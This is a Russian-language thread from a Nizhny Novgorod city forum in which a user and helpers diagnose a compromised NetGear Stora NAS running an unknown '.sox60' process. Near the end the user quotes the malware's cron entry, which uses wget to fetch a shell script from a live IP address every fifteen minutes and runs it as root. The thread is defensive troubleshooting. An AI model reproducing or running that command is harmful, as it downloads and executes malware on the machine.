more
    Сейчас
    -3°C
    СЕЙЧАС в нижнем новгороде
    -3° arrow
    переменная облачность, без осадков
    Ощущается как -8
    arrows_wind
    5 м/с юго-зап..
    pressure
    743мм
    kaplya
    86%
    Подробнее
    Пробки
    5/10
    USD 102.71
    EUR 104.86
    burger
    Реклама на NN.RU  +7 (831) 261-37-60
    Раздел техподдержки
    more
    --}}
    Рейтинг основных форумов Городские форумы Городской форум Городской форум для новичков Нижегородская политика Жалобная книга Бабский форум Мужской Анонимный медицинский форум Дурацкие вопросы Автофорумы Автофорум главный Девушка за рулем ВАЗ форум 4х4 форум Жалобный Шевроле Форум Такси Автозапчасти Гаражный форум KIA-форум Рено форум Hyundai Форум VAG Форум Форумы покупок Центр раздач: информационный форум Глав-Пристрой (со всех форумов, взрослый) Совместная покупка Совместная покупка: центральный Совместная покупка: взрослый Совместная покупка: вкусный Совместная покупка: мама и малыш Совместная покупка: уютный Совместная покупка: сбор предоплаты, раздачи Совместная покупка: услуги Совместная покупка: область Совместная покупка: Дзержинск Совместная покупка: Саров Зарубежные интернет-покупки Покупаем вместе Покупаем Вместе: Основной Покупаем вместе: БОЛЬШОЙ ШОПИНГ (взрослый) Покупаем вместе: БЕБИ-ШОП (детский) Покупаем вместе: ДОМОВОЙ Покупаем вместе: ГАСТРОНОМ Покупаем вместе: Сбор предоплаты, раздачи Покупаем Вместе: пристрой Покупаем Вместе: услуги Выгодная покупка Выгодная покупка - общие вопросы Выгодная покупка - взрослый Выгодная покупка - детский Выгодная покупка - сбор предоплаты, раздачи Выгодная покупка - объявления Форум закупок Мой малыш Мой малыш - Основной Мой малыш - Объявления. Общий Мой малыш - Объявления: детская одежда Мой малыш - Объявления: детская обувь Мой малыш - Объявления: детский транспорт, игрушки, мебель Халявный Халявный (основной) Котята и др. животные Элитный (продажа неликвидных товаров) Услуги Домоводство Полезный форум Бытовые проблемы Деревенский форум Домоводство Цветочный форум Форум владельцев кошек Дачный. Основной. Бытовая Техника Творческий Рукоделие основной Форумы по интересам Фиолетовый форум Сделаны в СССР Музыкальный Кино форум Кладоискатели и коллекционеры Рыболовный Охотничий Стильный форум Флирт, Любовь, Знакомства Фотофорум Здоровье Развитие Человека Пивной форум Кулинарный Парфюмерный Парфюмерная Лавка Собачий форум Собачий форум: Основной Собачий форум: пристрой животных Наши Дети Наши дети Школьный форум Особые дети Технофорумы Интернет-НН GPS форум Мобильный форум Техно-форум Технотуса Проф. и бизнес форумы Бизнес форум Фотография Недвижимость Банковский форум Медицина Форум трейдеров Бухучет и аудит Юридический Подбор персонала Разработчики ПО Строительные форумы Строительный форум (основной) Окна Форум электриков Мебель Кондиционирования и вентиляция Форум строительных объявлений Форум проектировщиков Все строительные форумы Туризм, отдых, экстрим Туризм, отдых, экстрим Спортивные форумы Клуб болельщиков Спортплощадка Боевые искусства Велофорумы Нижнего Новгорода Велофорум Нижнего Новгорода Путешествия Нижегородская область Недвижимость Недвижимость Ипотека Земельный форум ТСЖ Садоводческое товарищество Жилые районы Автозаводский район Сормовский район Мещерское озеро Все форумы районов Форумы домов Корабли Новая Кузнечиха Октава ЖК (ул. Глеба Успенского) Мончегория ЖК Аквамарин ЖК (Комсомольская пл.) Сормовская Сторона ЖК КМ Анкудиновский парк ЖК Красная Поляна ЖК (Казанское шоссе) Времена Года ЖК (Кстовский р-он) Стрижи ЖК (Богородский р-он) На Победной ЖК (Победная ул., у дома 18) Окский берег ЖК (п. Новинки) Цветы ЖК (ул. Академика Сахарова) Деревня Крутая кп (Кстовский р-он) Опалиха кп (Кстовский р-он) Юг мкр. (Южный бульвар) Гагаринские высоты мкр. Бурнаковский мкр. Белый город мкр. (60-лет Октября ул.) Зенит ЖК (Гагарина пр.) Седьмое небо ЖК Все форумы домов Частные форумы Свадебный форум Саровский Клуб Покупателей Июньские мамочки Форум безумных идей Ночной форум Королевство кривых зеркал Ищу вторую половинку! Лютики-цветочки КУПЛЯ-ПРОДАЖА Отряд стройности Пчеловодство Форум ленивых Волейбольный клуб туристов Встречи для секса Буду мамой! Алкогольный форум Лютики-цветочки Котоводство Форум сексуального опыта Свободка Форум модераторов Форум забаненных Новый форум модераторов Отзывы и предложения (техподдержка)
    По вашему запросу ничего не найдено.
    Пожалуйста переформулируйте запрос.
    Новая тема
    Вы не можете создавать новые темы.
    Т.к. вы неавторизованы на сайте. Пожалуйста назовите себя или зарегистрируйтесь.
    Список тем

    Что за процесс .sox60?

    Нужен совет (поиск решения проблемы. не для купли-продажи)
    248
    18
    С друзьями на NN.RU
    У вас пока нет друзей на NN.RU, поэтому ссылка на тему не может быть отправлена.
    Воспользуйтесь поиском, чтобы найти новых друзей.
    В социальных сетях
    Поделиться
    Atom
    26.02.2019
    Накопитель NetGear Stora.
    В последнее время наблюдаю странное поведение - не всегда папки доступны.
    Грузит какой-то процесс .sox60

    Источник дает папку /tmp:

    bash-3.2# pwdx 22758
    22758: /tmp

    Там особо ничего не нашел, кроме файла, создающего pid файлы (второй скрин).

    Что это?
    оригинал
    оригинал
    Ответить
    Поделиться
    Ссылка на сообщение
    открыть ссылку в новом окне
    В социальных сетях
    Алексей Макаров
    26.02.2019
    майнер?
    Ответить
    Поделиться
    Ссылка на сообщение
    открыть ссылку в новом окне
    В социальных сетях
    Atom
    26.02.2019
    Не знаю :(
    Либо какой-то руткит словил, либо от minidlna сервера что-то идет - он тоже неплохо грузит.
    Вот грохнул его.
    PS Телек выключили - нагрузка в 0 упала. Но там просто цифра эфирная в это время играла - проигрывания с накопителя не было.
    оригинал
    Ответить
    Поделиться
    Ссылка на сообщение
    открыть ссылку в новом окне
    В социальных сетях
    BrainFucker
    26.02.2019
    А почему у тебя всё из под рута запущено? Это неправильно.
    Ответить
    Поделиться
    Ссылка на сообщение
    открыть ссылку в новом окне
    В социальных сетях
    Atom
    27.02.2019
    Ну это уж так производитель сделал. Прошивку сам не менял.
    Ответить
    Поделиться
    Ссылка на сообщение
    открыть ссылку в новом окне
    В социальных сетях
    BrainFucker
    26.02.2019
    А если дерево процессов посмотреть, что за процесс его запустил? С помощью ps aux --forest например.

    Посмотреть где расположен процесс: readlink -f /proc/PID/exe

    Источник дает папку /tmp:

    Это не источник, просто рабочая директория. По сути просто текущая директория процесса, это не значит что исполнимый файл лежал там.

    Ещё можно прицепиться с помощью strace и смотреть что он делает, но там много низкоуровневой инфы, в которой долго ковыряться.
    Ответить
    Поделиться
    Ссылка на сообщение
    открыть ссылку в новом окне
    В социальных сетях
    Atom
    27.02.2019
    Попробую сегодня.
    Ответить
    Поделиться
    Ссылка на сообщение
    открыть ссылку в новом окне
    В социальных сетях
    Atom
    27.02.2019
    Ясности больше не стало

    Вытащил этот файл sox30. Вот, что Касперский про него пишет:


    Результат проверки
    файл безопасен
    Размер файла
    66,19 КБ
    Тип файла
    EXE/ELF_ARM
    Дата проверки
    2019 фев 27 17:15:54
    Дата выпуска баз
    2019 фев 27 13:38:31 UTC
    MD5
    726fb2b52f7f79a60ea1bd0f6e57ffc9
    SHA1
    a763a293aa9b150f3852ce4698c1a2563fffd9ce
    SHA256
    736d53e7ff5375bfb7aa78b9ea16ded6da402a1d80647e0ea9e89b5a184e2727

    Dr.Web тоже ничего подозрительного в нем не находит
    оригинал
    оригинал
    Ответить
    Поделиться
    Ссылка на сообщение
    открыть ссылку в новом окне
    В социальных сетях
    Atom
    27.02.2019
    Круто.
    Грохнул файл. Перегрузил Стору. В tmp обнаружился файл с веселым содержимым.
    По ссылке - какой-то бэкдор

    Он скачивает другой файл.
    оригинал
    оригинал
    Ответить
    Поделиться
    Ссылка на сообщение
    открыть ссылку в новом окне
    В социальных сетях
    FreeCat
    27.02.2019
    Atom писал(а)
    По ссылке - какой-то бэкдор

    так можно его загрузить и глянуть :) .
    Ответить
    Поделиться
    Ссылка на сообщение
    открыть ссылку в новом окне
    В социальных сетях
    Atom
    27.02.2019
    А nttpd вот что делает....
    оригинал
    Ответить
    Поделиться
    Ссылка на сообщение
    открыть ссылку в новом окне
    В социальных сетях
    Atom
    27.02.2019
    И еще кучу скриптов нашлось, которые копируют какую-то хрень с удаленных серверов...
    Ответить
    Поделиться
    Ссылка на сообщение
    открыть ссылку в новом окне
    В социальных сетях
    BrainFucker
    27.02.2019
    Жесть... Прошивка последняя? Проще перепрошить чтобы наверняка от всего мусора избавиться, чёрт знает где это всё могло засесть, да и в прошивке могла оказаться дыра.
    Ответить
    Поделиться
    Ссылка на сообщение
    открыть ссылку в новом окне
    В социальных сетях
    Atom
    27.02.2019
    Она давно не обновляется - не выпускают обновы уже.
    Отрубил доступ к нету, гадость эту прибил. Дальше конечно смотреть, что куда засело....

    Херню эту заметил по нетипичному морганию светодиодов HDD в отсутствии обращений по сети. Сейчас все тихо.
    Ответить
    Поделиться
    Ссылка на сообщение
    открыть ссылку в новом окне
    В социальных сетях
    BrainFucker
    27.02.2019
    Можно хотя бы перепрошить заново на ту что есть, где-то сохранить список всех файлов системы с хешами и потом если что можно будет сверять какие файлы изменились.

    Вот то что всё запускается под рутом плохо, достаточно сломать одну программу, например тот же minidlna и можно делать со всей системой что угодно.
    Ответить
    Поделиться
    Ссылка на сообщение
    открыть ссылку в новом окне
    В социальных сетях
    Atom
    27.02.2019
    Эта хрень еще в крон себя прописала:

    */15 * * * * root ps -A | grep -q .nttpd && exit 0; cd /tmp; rm -f wznsR.sh; wget http://188.92.74.189/wznsR.sh; chmod +x wznsR.sh; ./wznsR.sh
    Ответить
    Поделиться
    Ссылка на сообщение
    открыть ссылку в новом окне
    В социальных сетях
    BrainFucker
    27.02.2019
    Кстати, имя файла гуглится community.netgear.com/t5/Sto...9/highlight/true
    Ответить
    Поделиться
    Ссылка на сообщение
    открыть ссылку в новом окне
    В социальных сетях
    Atom
    27.02.2019
    оно
    Ответить
    Поделиться
    Ссылка на сообщение
    открыть ссылку в новом окне
    В социальных сетях
    RSS - Темы
    RSS - Ответы
    Мобильная версия
    С друзьями на NN.RU
    У вас пока нет друзей на NN.RU, поэтому ссылка на тему не может быть отправлена.
    Воспользуйтесь поиском, чтобы найти новых друзей.
    В социальных сетях
    Поделиться
    Рейтинг основных форумов Городские форумы Городской форум Городской форум для новичков Нижегородская политика Жалобная книга Бабский форум Мужской Анонимный медицинский форум Дурацкие вопросы Автофорумы Автофорум главный Девушка за рулем ВАЗ форум 4х4 форум Жалобный Шевроле Форум Такси Автозапчасти Гаражный форум KIA-форум Рено форум Hyundai Форум VAG Форум Форумы покупок Центр раздач: информационный форум Глав-Пристрой (со всех форумов, взрослый) Совместная покупка Совместная покупка: центральный Совместная покупка: взрослый Совместная покупка: вкусный Совместная покупка: мама и малыш Совместная покупка: уютный Совместная покупка: сбор предоплаты, раздачи Совместная покупка: услуги Совместная покупка: область Совместная покупка: Дзержинск Совместная покупка: Саров Зарубежные интернет-покупки Покупаем вместе Покупаем Вместе: Основной Покупаем вместе: БОЛЬШОЙ ШОПИНГ (взрослый) Покупаем вместе: БЕБИ-ШОП (детский) Покупаем вместе: ДОМОВОЙ Покупаем вместе: ГАСТРОНОМ Покупаем вместе: Сбор предоплаты, раздачи Покупаем Вместе: пристрой Покупаем Вместе: услуги Выгодная покупка Выгодная покупка - общие вопросы Выгодная покупка - взрослый Выгодная покупка - детский Выгодная покупка - сбор предоплаты, раздачи Выгодная покупка - объявления Форум закупок Мой малыш Мой малыш - Основной Мой малыш - Объявления. Общий Мой малыш - Объявления: детская одежда Мой малыш - Объявления: детская обувь Мой малыш - Объявления: детский транспорт, игрушки, мебель Халявный Халявный (основной) Котята и др. животные Элитный (продажа неликвидных товаров) Услуги Домоводство Полезный форум Бытовые проблемы Деревенский форум Домоводство Цветочный форум Форум владельцев кошек Дачный. Основной. Бытовая Техника Творческий Рукоделие основной Форумы по интересам Фиолетовый форум Сделаны в СССР Музыкальный Кино форум Кладоискатели и коллекционеры Рыболовный Охотничий Стильный форум Флирт, Любовь, Знакомства Фотофорум Здоровье Развитие Человека Пивной форум Кулинарный Парфюмерный Парфюмерная Лавка Собачий форум Собачий форум: Основной Собачий форум: пристрой животных Наши Дети Наши дети Школьный форум Особые дети Технофорумы Интернет-НН GPS форум Мобильный форум Техно-форум Технотуса Проф. и бизнес форумы Бизнес форум Фотография Недвижимость Банковский форум Медицина Форум трейдеров Бухучет и аудит Юридический Подбор персонала Разработчики ПО Строительные форумы Строительный форум (основной) Окна Форум электриков Мебель Кондиционирования и вентиляция Форум строительных объявлений Форум проектировщиков Все строительные форумы Туризм, отдых, экстрим Туризм, отдых, экстрим Спортивные форумы Клуб болельщиков Спортплощадка Боевые искусства Велофорумы Нижнего Новгорода Велофорум Нижнего Новгорода Путешествия Нижегородская область Недвижимость Недвижимость Ипотека Земельный форум ТСЖ Садоводческое товарищество Жилые районы Автозаводский район Сормовский район Мещерское озеро Все форумы районов Форумы домов Корабли Новая Кузнечиха Октава ЖК (ул. Глеба Успенского) Мончегория ЖК Аквамарин ЖК (Комсомольская пл.) Сормовская Сторона ЖК КМ Анкудиновский парк ЖК Красная Поляна ЖК (Казанское шоссе) Времена Года ЖК (Кстовский р-он) Стрижи ЖК (Богородский р-он) На Победной ЖК (Победная ул., у дома 18) Окский берег ЖК (п. Новинки) Цветы ЖК (ул. Академика Сахарова) Деревня Крутая кп (Кстовский р-он) Опалиха кп (Кстовский р-он) Юг мкр. (Южный бульвар) Гагаринские высоты мкр. Бурнаковский мкр. Белый город мкр. (60-лет Октября ул.) Зенит ЖК (Гагарина пр.) Седьмое небо ЖК Все форумы домов Частные форумы Свадебный форум Саровский Клуб Покупателей Июньские мамочки Форум безумных идей Ночной форум Королевство кривых зеркал Ищу вторую половинку! Лютики-цветочки КУПЛЯ-ПРОДАЖА Отряд стройности Пчеловодство Форум ленивых Волейбольный клуб туристов Встречи для секса Буду мамой! Алкогольный форум Лютики-цветочки Котоводство Форум сексуального опыта Свободка Форум модераторов Форум забаненных Новый форум модераторов Отзывы и предложения (техподдержка)
    По вашему запросу ничего не найдено.
    Пожалуйста переформулируйте запрос.
    Новая тема
    Вы не можете создавать новые темы.
    Т.к. вы неавторизованы на сайте. Пожалуйста назовите себя или зарегистрируйтесь.
    Список тем
    Последние темы форумов
    Форум Тема (Автор) Последний ответ Ответов
    Техно-форум Совместимость оперативной памяти   -  Potap Ramua 14.01.2025 в 17:32:38 37
    Интернет-НН Интернет от Дом.ру   -  user_282912335 12.01.2025 в 23:51:39 12
    Мобильный форум МТС-где мобильный интернет?   -  Pitonchik 07.01.2025 в 21:18:56 5
    Техно-объявления мониторы за самовывоз   -  jurok69 28.10.2024 в 09:15:22 10
    GPS форум мониторы за самовывоз   -  jurok69 28.10.2024 в 09:15:22 10

    Карта сайта | 18+
    ООО «Сеть городских порталов» © 1999 - 2025
    Реклама на NN.RU +7 (831) 261-37-60, reklamann@shkulev.ru
    Раздел технической поддержки | Для Роскомнадзора и госорганов: juristnn@shkulev.ru